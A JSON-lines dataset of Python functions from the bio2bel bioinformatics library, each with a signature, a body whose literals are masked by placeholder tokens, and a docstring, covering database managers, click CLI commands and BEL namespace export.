{"signature": "@classmethod<EOL><INDENT>def get_cli(cls) -> click.Group:<DEDENT>", "body": "group_help = '<STR_LIT>'.format(cls._get_connection(), get_version())<EOL>@click.group(help=group_help)<EOL>@click.option('<STR_LIT:-c>', '<STR_LIT>', default=cls._get_connection(),<EOL>help='<STR_LIT>'.format(cls._get_connection()))<EOL>@click.pass_context<EOL>def main(ctx, connection):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logging.basicConfig(level=logging.INFO, format=\"<STR_LIT>\")<EOL>logging.getLogger('<STR_LIT>').setLevel(logging.WARNING)<EOL>ctx.obj = cls(connection=connection)<EOL><DEDENT>return main<EOL>", "docstring": "Build a :mod:`click` CLI main function.\n\n        :param Type[AbstractManager] cls: A Manager class\n        :return: The main function for click", "id": "f1577:c0:m0"}
{"signature": "def build_engine_session(connection, echo=False, autoflush=None, autocommit=None, expire_on_commit=None,<EOL>scopefunc=None):", "body": "if connection is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>engine = create_engine(connection, echo=echo)<EOL>autoflush = autoflush if autoflush is not None else False<EOL>autocommit = autocommit if autocommit is not None else False<EOL>expire_on_commit = expire_on_commit if expire_on_commit is not None else True<EOL>log.debug('<STR_LIT>', autoflush, autocommit, expire_on_commit)<EOL>session_maker = sessionmaker(<EOL>bind=engine,<EOL>autoflush=autoflush,<EOL>autocommit=autocommit,<EOL>expire_on_commit=expire_on_commit,<EOL>)<EOL>session = scoped_session(<EOL>session_maker,<EOL>scopefunc=scopefunc<EOL>)<EOL>return engine, session<EOL>", "docstring": "Build an engine and a session.\n\n    :param str connection: An RFC-1738 database connection string\n    :param bool echo: Turn on echoing SQL\n    :param Optional[bool] autoflush: Defaults to True if not specified in kwargs or configuration.\n    :param Optional[bool] autocommit: Defaults to False if not specified in kwargs or configuration.\n    :param Optional[bool] expire_on_commit: Defaults to False if not specified in kwargs or configuration.\n    :param scopefunc: Scoped function to pass to :func:`sqlalchemy.orm.scoped_session`\n    :rtype: tuple[Engine,Session]\n\n    From the Flask-SQLAlchemy documentation:\n\n    An extra key ``'scopefunc'`` can be set on the ``options`` dict to\n    specify a custom scope function.  If it's not provided, Flask's app\n    context stack identity is used. This will ensure that sessions are\n    created and removed with the request/response cycle, and should be fine\n    in most cases.", "id": "f1578:m0"}
{"signature": "def __init__(self, connection: Optional[str] = None, engine=None, session=None, **kwargs):", "body": "self._assert_module_name()<EOL>if connection and (engine or session):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if engine is None and session is None:<EOL><INDENT>if connection is None:<EOL><INDENT>connection = self._get_connection()<EOL><DEDENT>engine, session = build_engine_session(connection=connection, **kwargs)<EOL><DEDENT>self.engine = engine<EOL>self.session = session<EOL>create_all(self.engine)<EOL>", "docstring": "Build an abstract manager from either a connection or an engine/session.\n\n        The remaining keyword arguments are passed to :func:`build_engine_session`.\n\n        :param Optional[str] connection:\n        :param engine:\n        :param session:", "id": "f1578:c0:m0"}
{"signature": "@property<EOL><INDENT>def connection(self) -> str:<DEDENT>", "body": "return str(self.engine.url)<EOL>", "docstring": "Return this manager's connection string.", "id": "f1578:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def _get_connection(cls, connection: Optional[str] = None) -> str:<DEDENT>", "body": "return get_connection(cls.module_name, connection=connection)<EOL>", "docstring": "Get a default connection string.\n\n        Wraps :func:`bio2bel.utils.get_connection` and passing this class's :data:`module_name` to it.", "id": "f1578:c0:m3"}
{"signature": "def add_cli_to_bel_namespace(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True)<EOL>@click.pass_obj<EOL>def upload(manager: BELNamespaceManagerMixin, update):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>namespace = manager.upload_bel_namespace(update=update)<EOL>click.echo(f'<STR_LIT>')<EOL><DEDENT>return main<EOL>", "docstring": "Add a ``upload_bel_namespace`` command to main :mod:`click` function.", "id": "f1579:m0"}
{"signature": "def add_cli_clear_bel_namespace(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.pass_obj<EOL>def drop(manager: BELNamespaceManagerMixin):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>namespace = manager.drop_bel_namespace()<EOL>if namespace:<EOL><INDENT>click.echo(f'<STR_LIT>')<EOL><DEDENT><DEDENT>return main<EOL>", "docstring": "Add a ``clear_bel_namespace`` command to main :mod:`click` function.", "id": "f1579:m1"}
{"signature": "def add_cli_write_bel_namespace(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(file_okay=False, dir_okay=True), default=os.getcwd(),<EOL>help='<STR_LIT>')<EOL>@click.pass_obj<EOL>def write(manager: BELNamespaceManagerMixin, directory: str):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>manager.write_directory(directory)<EOL><DEDENT>return main<EOL>", "docstring": "Add a ``write_bel_namespace`` command to main :mod:`click` function.", "id": "f1579:m2"}
{"signature": "def add_cli_write_bel_annotation(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.Path(file_okay=False, dir_okay=True), default=os.getcwd(),<EOL>help='<STR_LIT>')<EOL>@click.pass_obj<EOL>def write(manager: BELNamespaceManagerMixin, directory: str):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with open(os.path.join(directory, manager.identifiers_namespace), '<STR_LIT:w>') as file:<EOL><INDENT>manager.write_bel_annotation(file)<EOL><DEDENT><DEDENT>return main<EOL>", "docstring": "Add a ``write_bel_annotation`` command to main :mod:`click` function.", "id": "f1579:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def _create_namespace_entry_from_model(self, model, namespace: Namespace) -> NamespaceEntry:<DEDENT>", "body": "", "docstring": "Create a PyBEL NamespaceEntry model from a Bio2BEL model.\n\n        :param model: The model to convert\n        :param namespace: The PyBEL namespace to add to", "id": "f1579:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def _get_identifier(cls, model) -> str:<DEDENT>", "body": "return getattr(model, f'<STR_LIT>')<EOL>", "docstring": "Extract the identifier from an instance of namespace_model.\n\n        :param model: The model to convert", "id": "f1579:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _get_encoding(model) -> str:<DEDENT>", "body": "return model.bel_encoding<EOL>", "docstring": "Extract the BEL encoding from an instance of a namespace_model.\n\n        :param model: The model to convert", "id": "f1579:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _get_name(model) -> str:<DEDENT>", "body": "return model.name<EOL>", "docstring": "Extract the name from an instance of namespace_model.\n\n        :param model: The model to convert", "id": "f1579:c1:m4"}
{"signature": "def _iterate_namespace_models(self, **kwargs) -> Iterable:", "body": "return tqdm(<EOL>self._get_query(self.namespace_model),<EOL>total=self._count_model(self.namespace_model),<EOL>**kwargs<EOL>)<EOL>", "docstring": "Return an iterator over the models to be converted to the namespace.", "id": "f1579:c1:m5"}
{"signature": "@classmethod<EOL><INDENT>def _get_namespace_name(cls) -> str:<DEDENT>", "body": "return cls.identifiers_recommended or cls.module_name<EOL>", "docstring": "Get the nicely formatted name of this namespace.", "id": "f1579:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def _get_namespace_keyword(cls) -> str:<DEDENT>", "body": "return cls.identifiers_namespace or cls.module_name.upper()<EOL>", "docstring": "Get the keyword to use as the reference BEL namespace.", "id": "f1579:c1:m7"}
{"signature": "@classmethod<EOL><INDENT>def _get_namespace_url(cls) -> str:<DEDENT>", "body": "return cls.identifiers_url or f'<STR_LIT>'<EOL>", "docstring": "Get the URL to use as the reference BEL namespace.", "id": "f1579:c1:m8"}
{"signature": "def _get_default_namespace(self) -> Optional[Namespace]:", "body": "return self._get_query(Namespace).filter(Namespace.url == self._get_namespace_url()).one_or_none()<EOL>", "docstring": "Get the reference BEL namespace if it exists.", "id": "f1579:c1:m9"}
{"signature": "def _make_namespace(self) -> Namespace:", "body": "namespace = Namespace(<EOL>name=self._get_namespace_name(),<EOL>keyword=self._get_namespace_keyword(),<EOL>url=self._get_namespace_url(),<EOL>version=str(time.asctime()),<EOL>)<EOL>self.session.add(namespace)<EOL>entries = self._get_namespace_entries(namespace)<EOL>self.session.add_all(entries)<EOL>t = time.time()<EOL>log.info('<STR_LIT>')<EOL>self.session.commit()<EOL>log.info('<STR_LIT>', time.time() - t)<EOL>return namespace<EOL>", "docstring": "Make a namespace.", "id": "f1579:c1:m11"}
{"signature": "@staticmethod<EOL><INDENT>def _get_old_entry_identifiers(namespace: Namespace) -> Set[NamespaceEntry]:<DEDENT>", "body": "return {term.identifier for term in namespace.entries}<EOL>", "docstring": "Convert a PyBEL generalized namespace entries to a set.\n\n        Default to using the identifier, but can be overridden to use the name instead.\n\n        >>> {term.identifier for term in namespace.entries}", "id": "f1579:c1:m12"}
{"signature": "def _update_namespace(self, namespace: Namespace) -> None:", "body": "old_entry_identifiers = self._get_old_entry_identifiers(namespace)<EOL>new_count = <NUM_LIT:0><EOL>skip_count = <NUM_LIT:0><EOL>for model in self._iterate_namespace_models():<EOL><INDENT>if self._get_identifier(model) in old_entry_identifiers:<EOL><INDENT>continue<EOL><DEDENT>entry = self._create_namespace_entry_from_model(model, namespace=namespace)<EOL>if entry is None or entry.name is None:<EOL><INDENT>skip_count += <NUM_LIT:1><EOL>continue<EOL><DEDENT>new_count += <NUM_LIT:1><EOL>self.session.add(entry)<EOL><DEDENT>t = time.time()<EOL>log.info('<STR_LIT>', new_count, skip_count)<EOL>self.session.commit()<EOL>log.info('<STR_LIT>', time.time() - t)<EOL>", "docstring": "Update an already-created namespace.\n\n        Note: Only call this if namespace won't be none!", "id": "f1579:c1:m13"}
{"signature": "def add_namespace_to_graph(self, graph: BELGraph) -> Namespace:", "body": "namespace = self.upload_bel_namespace()<EOL>graph.namespace_url[namespace.keyword] = namespace.url<EOL>self._add_annotation_to_graph(graph)<EOL>return namespace<EOL>", "docstring": "Add this manager's namespace to the graph.", "id": "f1579:c1:m14"}
{"signature": "def _add_annotation_to_graph(self, graph: BELGraph) -> None:", "body": "if '<STR_LIT>' not in graph.annotation_list:<EOL><INDENT>graph.annotation_list['<STR_LIT>'] = set()<EOL><DEDENT>graph.annotation_list['<STR_LIT>'].add(self.module_name)<EOL>", "docstring": "Add this manager as an annotation to the graph.", "id": "f1579:c1:m15"}
{"signature": "def upload_bel_namespace(self, update: bool = False) -> Namespace:", "body": "if not self.is_populated():<EOL><INDENT>self.populate()<EOL><DEDENT>namespace = self._get_default_namespace()<EOL>if namespace is None:<EOL><INDENT>log.info('<STR_LIT>', self._get_namespace_name())<EOL>return self._make_namespace()<EOL><DEDENT>if update:<EOL><INDENT>self._update_namespace(namespace)<EOL><DEDENT>return namespace<EOL>", "docstring": "Upload the namespace to the PyBEL database.\n\n        :param update: Should the namespace be updated first?", "id": "f1579:c1:m16"}
{"signature": "def drop_bel_namespace(self) -> Optional[Namespace]:", "body": "namespace = self._get_default_namespace()<EOL>if namespace is not None:<EOL><INDENT>for entry in tqdm(namespace.entries, desc=f'<STR_LIT>'):<EOL><INDENT>self.session.delete(entry)<EOL><DEDENT>self.session.delete(namespace)<EOL>log.info('<STR_LIT>')<EOL>self.session.commit()<EOL>return namespace<EOL><DEDENT>", "docstring": "Remove the default namespace if it exists.", "id": "f1579:c1:m17"}
{"signature": "def write_bel_namespace(self, file: TextIO, use_names: bool = False) -> None:", "body": "if not self.is_populated():<EOL><INDENT>self.populate()<EOL><DEDENT>if use_names and not self.has_names:<EOL><INDENT>raise ValueError<EOL><DEDENT>values = (<EOL>self._get_namespace_name_to_encoding(desc='<STR_LIT>')<EOL>if use_names else<EOL>self._get_namespace_identifier_to_encoding(desc='<STR_LIT>')<EOL>)<EOL>write_namespace(<EOL>namespace_name=self._get_namespace_name(),<EOL>namespace_keyword=self._get_namespace_keyword(),<EOL>namespace_query_url=self.identifiers_url,<EOL>values=values,<EOL>file=file,<EOL>)<EOL>", "docstring": "Write as a BEL namespace file.", "id": "f1579:c1:m18"}
{"signature": "def write_bel_annotation(self, file: TextIO) -> None:", "body": "if not self.is_populated():<EOL><INDENT>self.populate()<EOL><DEDENT>values = self._get_namespace_name_to_encoding(desc='<STR_LIT>')<EOL>write_annotation(<EOL>keyword=self._get_namespace_keyword(),<EOL>citation_name=self._get_namespace_name(),<EOL>description='<STR_LIT>',<EOL>values=values,<EOL>file=file,<EOL>)<EOL>", "docstring": "Write as a BEL annotation file.", "id": "f1579:c1:m19"}
{"signature": "def write_bel_namespace_mappings(self, file: TextIO, **kwargs) -> None:", "body": "json.dump(self._get_namespace_identifier_to_name(**kwargs), file, indent=<NUM_LIT:2>, sort_keys=True)<EOL>", "docstring": "Write a BEL namespace mapping file.", "id": "f1579:c1:m20"}
{"signature": "def write_directory(self, directory: str) -> bool:", "body": "current_md5_hash = self.get_namespace_hash()<EOL>md5_hash_path = os.path.join(directory, f'<STR_LIT>')<EOL>if not os.path.exists(md5_hash_path):<EOL><INDENT>old_md5_hash = None<EOL><DEDENT>else:<EOL><INDENT>with open(md5_hash_path) as file:<EOL><INDENT>old_md5_hash = file.read().strip()<EOL><DEDENT><DEDENT>if old_md5_hash == current_md5_hash:<EOL><INDENT>return False<EOL><DEDENT>with open(os.path.join(directory, f'<STR_LIT>'), '<STR_LIT:w>') as file:<EOL><INDENT>self.write_bel_namespace(file, use_names=False)<EOL><DEDENT>with open(md5_hash_path, '<STR_LIT:w>') as file:<EOL><INDENT>print(current_md5_hash, file=file)<EOL><DEDENT>if self.has_names:<EOL><INDENT>with open(os.path.join(directory, f'<STR_LIT>'), '<STR_LIT:w>') as file:<EOL><INDENT>self.write_bel_namespace(file, use_names=True)<EOL><DEDENT>with open(os.path.join(directory, f'<STR_LIT>'), '<STR_LIT:w>') as file:<EOL><INDENT>self.write_bel_namespace_mappings(file, desc='<STR_LIT>')<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Write a BEL namespace for identifiers, names, name hash, and mappings to the given directory.", "id": "f1579:c1:m21"}
{"signature": "def get_namespace_hash(self, hash_fn=hashlib.md5) -> str:", "body": "m = hash_fn()<EOL>if self.has_names:<EOL><INDENT>items = self._get_namespace_name_to_encoding(desc='<STR_LIT>').items()<EOL><DEDENT>else:<EOL><INDENT>items = self._get_namespace_identifier_to_encoding(desc='<STR_LIT>').items()<EOL><DEDENT>for name, encoding in items:<EOL><INDENT>m.update(f'<STR_LIT>'.encode('<STR_LIT:utf8>'))<EOL><DEDENT>return m.hexdigest()<EOL>", "docstring": "Get the namespace hash.\n\n        Defaults to MD5.", "id": "f1579:c1:m25"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_to_bel_namespace(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_to_bel_namespace(main)<EOL>", "docstring": "Add the export BEL namespace command.", "id": "f1579:c1:m26"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_clear_bel_namespace(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_clear_bel_namespace(main)<EOL>", "docstring": "Add the clear BEL namespace command.", "id": "f1579:c1:m27"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_write_bel_namespace(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_write_bel_namespace(main)<EOL>", "docstring": "Add the write BEL namespace command.", "id": "f1579:c1:m28"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_write_bel_annotation(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_write_bel_annotation(main)<EOL>", "docstring": "Add the write BEL namespace command.", "id": "f1579:c1:m29"}
{"signature": "@classmethod<EOL><INDENT>def get_cli(cls) -> click.Group:<DEDENT>", "body": "main = super().get_cli()<EOL>if cls.is_namespace:<EOL><INDENT>@main.group()<EOL>def belns():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>cls._cli_add_to_bel_namespace(belns)<EOL>cls._cli_add_clear_bel_namespace(belns)<EOL>cls._cli_add_write_bel_namespace(belns)<EOL><DEDENT>if cls.is_annotation:<EOL><INDENT>@main.group()<EOL>def belanno():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>cls._cli_add_write_bel_annotation(belanno)<EOL><DEDENT>return main<EOL>", "docstring": "Get a :mod:`click` main function with added BEL namespace commands.", "id": "f1579:c1:m30"}
{"signature": "def add_cli_to_bel(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default='<STR_LIT>', show_default=True, help='<STR_LIT>')<EOL>@click.pass_obj<EOL>def write(manager: BELManagerMixin, output: TextIO, fmt: str):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>graph = manager.to_bel()<EOL>graph.serialize(file=output, fmt=fmt)<EOL>click.echo(graph.summary_str())<EOL><DEDENT>return main<EOL>", "docstring": "Add several command to main :mod:`click` function related to export to BEL.", "id": "f1580:m0"}
{"signature": "def add_cli_upload_bel(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@host_option<EOL>@click.pass_obj<EOL>def upload(manager: BELManagerMixin, host: str):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>graph = manager.to_bel()<EOL>pybel.to_web(graph, host=host, public=True)<EOL><DEDENT>return main<EOL>", "docstring": "Add several command to main :mod:`click` function related to export to BEL.", "id": "f1580:m1"}
{"signature": "def count_relations(self) -> int:", "body": "if self.edge_model is ...:<EOL><INDENT>raise Bio2BELMissingEdgeModelError('<STR_LIT>')<EOL><DEDENT>elif isinstance(self.edge_model, list):<EOL><INDENT>return sum(self._count_model(m) for m in self.edge_model)<EOL><DEDENT>else:<EOL><INDENT>return self._count_model(self.edge_model)<EOL><DEDENT>", "docstring": "Count the number of BEL relations generated.", "id": "f1580:c1:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def to_bel(self, *args, **kwargs) -> pybel.BELGraph:<DEDENT>", "body": "", "docstring": "Convert the database to BEL.\n\n        Example implementation outline:\n\n        .. code-block:: python\n\n            from bio2bel import AbstractManager\n            from bio2bel.manager.bel_manager import BELManagerMixin\n            from pybel import BELGraph\n            from .models import Interaction\n\n            class MyManager(AbstractManager, BELManagerMixin):\n                module_name = 'mirtarbase'\n                def to_bel(self):\n                    rv = BELGraph(\n                        name='miRTarBase',\n                        version='1.0.0',\n                    )\n\n                    for interaction in self.session.query(Interaction):\n                        mirna = mirna_dsl('mirtarbase', interaction.mirna.mirtarbase_id)\n                        rna = rna_dsl('hgnc', interaction.target.hgnc_id)\n\n                        rv.add_qualified_edge(\n                            mirna,\n                            rna,\n                            DECREASES,\n                            ...\n                        )\n\n                    return rv", "id": "f1580:c1:m1"}
{"signature": "def to_indra_statements(self, *args, **kwargs):", "body": "graph = self.to_bel(*args, **kwargs)<EOL>return to_indra_statements(graph)<EOL>", "docstring": "Dump as a list of INDRA statements.\n\n        :rtype: List[indra.Statement]", "id": "f1580:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_to_bel(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_to_bel(main)<EOL>", "docstring": "Add the export BEL command.", "id": "f1580:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_upload_bel(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_upload_bel(main)<EOL>", "docstring": "Add the upload BEL command.", "id": "f1580:c1:m4"}
{"signature": "@classmethod<EOL><INDENT>def get_cli(cls) -> click.Group:<DEDENT>", "body": "main = super().get_cli()<EOL>@main.group()<EOL>def bel():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>cls._cli_add_to_bel(bel)<EOL>cls._cli_add_upload_bel(bel)<EOL>return main<EOL>", "docstring": "Get a :mod:`click` main function with added BEL commands.", "id": "f1580:c1:m5"}
{"signature": "def add_cli_flask(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True)<EOL>@click.option('<STR_LIT>', '<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default=os.urandom(<NUM_LIT:8>))<EOL>@click.pass_obj<EOL>def web(manager, debug, port, host, secret_key):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not manager.is_populated():<EOL><INDENT>click.echo('<STR_LIT>'.format(manager.module_name))<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>app = manager.get_flask_admin_app(url='<STR_LIT:/>', secret_key=secret_key)<EOL>app.run(debug=debug, host=host, port=port)<EOL><DEDENT>return main<EOL>", "docstring": "Add a ``web`` comand main :mod:`click` function.", "id": "f1582:m0"}
{"signature": "def _add_admin(self, app, **kwargs):", "body": "from flask_admin import Admin<EOL>from flask_admin.contrib.sqla import ModelView<EOL>admin = Admin(app, **kwargs)<EOL>for flask_admin_model in self.flask_admin_models:<EOL><INDENT>if isinstance(flask_admin_model, tuple):  <EOL><INDENT>if len(flask_admin_model) != <NUM_LIT:2>:<EOL><INDENT>raise TypeError<EOL><DEDENT>model, view = flask_admin_model<EOL>admin.add_view(view(model, self.session))<EOL><DEDENT>else:<EOL><INDENT>admin.add_view(ModelView(flask_admin_model, self.session))<EOL><DEDENT><DEDENT>return admin<EOL>", "docstring": "Add a Flask Admin interface to an application.\n\n        :param flask.Flask app: A Flask application\n        :param kwargs: Keyword arguments are passed through to :class:`flask_admin.Admin`\n        :rtype: flask_admin.Admin", "id": "f1582:c0:m1"}
{"signature": "def get_flask_admin_app(self, url: Optional[str] = None, secret_key: Optional[str] = None):", "body": "from flask import Flask<EOL>app = Flask(__name__)<EOL>if secret_key:<EOL><INDENT>app.secret_key = secret_key<EOL><DEDENT>self._add_admin(app, url=(url or '<STR_LIT:/>'))<EOL>return app<EOL>", "docstring": "Create a Flask application.\n\n        :param url: Optional mount point of the admin application. Defaults to ``'/'``.\n        :rtype: flask.Flask", "id": "f1582:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_flask(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_flask(main)<EOL>", "docstring": "Add the web command.", "id": "f1582:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def get_cli(cls) -> click.Group:<DEDENT>", "body": "main = super().get_cli()<EOL>cls._cli_add_flask(main)<EOL>return main<EOL>", "docstring": "Add  a :mod:`click` main function to use as a command line interface.", "id": "f1582:c0:m4"}
{"signature": "def add_cli_populate(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.pass_obj<EOL>def populate(manager: AbstractManager, reset, force):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if reset:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>manager.drop_all()<EOL>click.echo('<STR_LIT>')<EOL>manager.create_all()<EOL><DEDENT>if manager.is_populated() and not force:<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>manager.populate()<EOL><DEDENT>return main<EOL>", "docstring": "Add a ``populate`` command to main :mod:`click` function.", "id": "f1583:m0"}
{"signature": "def add_cli_drop(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.confirmation_option(prompt='<STR_LIT>')<EOL>@click.pass_obj<EOL>def drop(manager):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>manager.drop_all()<EOL><DEDENT>return main<EOL>", "docstring": "Add a ``drop`` command to main :mod:`click` function.", "id": "f1583:m1"}
{"signature": "def add_cli_cache(main: click.Group) -> click.Group:  ", "body": "@main.group()<EOL>def cache():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL><DEDENT>@cache.command()<EOL>@click.pass_obj<EOL>def locate(manager):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>data_dir = get_data_dir(manager.module_name)<EOL>click.echo(data_dir)<EOL><DEDENT>@cache.command()<EOL>@click.pass_obj<EOL>def ls(manager):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>data_dir = get_data_dir(manager.module_name)<EOL>for path in os.listdir(data_dir):<EOL><INDENT>click.echo(path)<EOL><DEDENT><DEDENT>@cache.command()<EOL>@click.pass_obj<EOL>def clear(manager):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>clear_cache(manager.module_name)<EOL><DEDENT>return main<EOL>", "docstring": "Add several commands to main :mod:`click` function for handling the cache.", "id": "f1583:m2"}
{"signature": "def add_cli_summarize(main: click.Group) -> click.Group:  ", "body": "@main.command()<EOL>@click.pass_obj<EOL>def summarize(manager: AbstractManager):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not manager.is_populated():<EOL><INDENT>click.secho(f'<STR_LIT>', fg='<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>for name, count in sorted(manager.summarize().items()):<EOL><INDENT>click.echo(f'<STR_LIT>')<EOL><DEDENT><DEDENT>return main<EOL>", "docstring": "Add a ``summarize`` command to main :mod:`click` function.", "id": "f1583:m3"}
{"signature": "@property<EOL><INDENT>@abstractmethod<EOL>def _base(self) -> DeclarativeMeta:<DEDENT>", "body": "", "docstring": "Return the declarative base.\n\n        It is usually sufficient to return an instance that is module-level.\n\n        How to build an instance of :class:`sqlalchemy.ext.declarative.api.DeclarativeMeta` by using\n        :func:`sqlalchemy.ext.declarative.declarative_base`:\n\n        >>> from sqlalchemy.ext.declarative import DeclarativeMeta, declarative_base\n        >>> Base: DeclarativeMeta = declarative_base()\n\n        Then just override this abstract property like:\n\n        >>> @property\n        >>> def _base(self) -> DeclarativeMeta:\n        >>>     return Base\n\n        Note that this property could effectively also be a static method.", "id": "f1583:c1:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def is_populated(self) -> bool:<DEDENT>", "body": "", "docstring": "Check if the database is already populated.", "id": "f1583:c1:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def populate(self, *args, **kwargs) -> None:<DEDENT>", "body": "", "docstring": "Populate the database.", "id": "f1583:c1:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def summarize(self) -> Mapping[str, int]:<DEDENT>", "body": "", "docstring": "Summarize the database.", "id": "f1583:c1:m4"}
{"signature": "@property<EOL><INDENT>def _metadata(self):<DEDENT>", "body": "return self._base.metadata<EOL>", "docstring": "Return the metadata object associated with this manager's declarative base.", "id": "f1583:c1:m5"}
{"signature": "def create_all(self, check_first: bool = True):", "body": "self._metadata.create_all(self.engine, checkfirst=check_first)<EOL>", "docstring": "Create the empty database (tables).\n\n        :param bool check_first: Defaults to True, don't issue CREATEs for tables already present\n         in the target database. Defers to :meth:`sqlalchemy.sql.schema.MetaData.create_all`", "id": "f1583:c1:m6"}
{"signature": "def drop_all(self, check_first: bool = True):", "body": "self._metadata.drop_all(self.engine, checkfirst=check_first)<EOL>self._store_drop()<EOL>", "docstring": "Drop all tables from the database.\n\n        :param bool check_first: Defaults to True, only issue DROPs for tables confirmed to be\n          present in the target database. Defers to :meth:`sqlalchemy.sql.schema.MetaData.drop_all`", "id": "f1583:c1:m7"}
{"signature": "def _get_query(self, model):", "body": "return self.session.query(model)<EOL>", "docstring": "Get a query for the given model using this manager's session.\n\n        :param model: A SQLAlchemy model class\n        :return: a SQLAlchemy query", "id": "f1583:c1:m8"}
{"signature": "def _count_model(self, model) -> int:", "body": "return self._get_query(model).count()<EOL>", "docstring": "Count the number of the given model in the database.\n\n        :param model: A SQLAlchemy model class", "id": "f1583:c1:m9"}
{"signature": "def _list_model(self, model) -> List:", "body": "return self._get_query(model).all()<EOL>", "docstring": "Get all instances of the given model in the database.\n\n        :param model: A SQLAlchemy model class", "id": "f1583:c1:m10"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_populate(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_populate(main)<EOL>", "docstring": "Add the populate command.", "id": "f1583:c1:m11"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_drop(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_drop(main)<EOL>", "docstring": "Add the drop command.", "id": "f1583:c1:m12"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_cache(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_cache(main)<EOL>", "docstring": "Add the cache command.", "id": "f1583:c1:m13"}
{"signature": "@staticmethod<EOL><INDENT>def _cli_add_summarize(main: click.Group) -> click.Group:<DEDENT>", "body": "return add_cli_summarize(main)<EOL>", "docstring": "Add the summarize command.", "id": "f1583:c1:m14"}
{"signature": "@classmethod<EOL><INDENT>def get_cli(cls) -> click.Group:<DEDENT>", "body": "main = super().get_cli()<EOL>cls._cli_add_populate(main)<EOL>cls._cli_add_drop(main)<EOL>cls._cli_add_cache(main)<EOL>cls._cli_add_summarize(main)<EOL>return main<EOL>", "docstring": "Get the :mod:`click` main function to use as a command line interface.", "id": "f1583:c1:m15"}
